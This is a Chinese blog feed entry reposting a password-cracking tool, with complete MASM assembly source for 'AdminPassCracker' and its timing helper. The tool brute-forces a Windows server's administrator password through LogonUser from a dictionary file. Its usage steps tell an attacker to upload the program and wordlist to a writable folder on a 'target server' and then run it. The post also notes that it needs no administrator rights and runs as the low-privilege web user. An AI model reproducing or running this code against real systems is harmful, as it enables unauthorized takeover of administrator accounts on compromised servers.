		<comments>http://www.5bay.cn/server-building/webshelleechueeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=515</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
这个idea源自以前学runas命令时候的启发。
使用方法：
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\
    2、把程序上传到c:\windows\temp\中，然后运行它。
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，
       如果为空就说明还没破解完，另选时间再回来看。
特点：
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。
    默认破解administrator用户的密码。要破其它，请自行修改代码。

result_.txt示例：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
The administrator&#8217;s password is: tester
The program had tried 32653 times! 
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
源代码如下：
AdminPassCrack.asm文件
复制内容到剪贴板代码:
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
;                AdminPassCracker
;
;                                By taiwansee        2008.10.23
;
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff AdminPassCracker.asm
; Link /subsystem:windows AdminPassCracker.obj
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
                .386
                .model flat, stdcall
                option casemap :none
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
; Include 文件定义
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
include                windows.inc
include                user32.inc
includelib        user32.lib
include                kernel32.inc
includelib        kernel32.lib
include                Advapi32.inc
includelib        Advapi32.lib
include                _TotalTime.asm
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
; 数据段
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
                .const
DEBUG                                equ        0
LOGON32_LOGON_NETWORK                equ     3
LOGON32_PROVIDER_DEFAULT        equ        0
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
; 数据段
;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;
align 4
                .data?
hModuleHandle                DWORD        ?
szFileName                BYTE        MAX_PATH dup(?)
                .data
szResultFile        BYTE        &#8217;result_.txt&#8217;,0
szPswDic        BYTE        &#8217;psw.txt&#8217;,0
szDomain        BYTE        &#8217;.',0
szUserName        BYTE        &#8217;administrator&#8217;,0
szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah
                        BYTE        &#8217;The program had tried %d times!  &#8217;,0dh,0ah,0
szNoDicFileErr                BYTE        &#8217;Sorry,dic file [...]]]></description>
			<content:encoded><![CDATA[<p>软件作者：taiwansee<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; Include 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_PATH dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .code<br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        div        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (3)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" 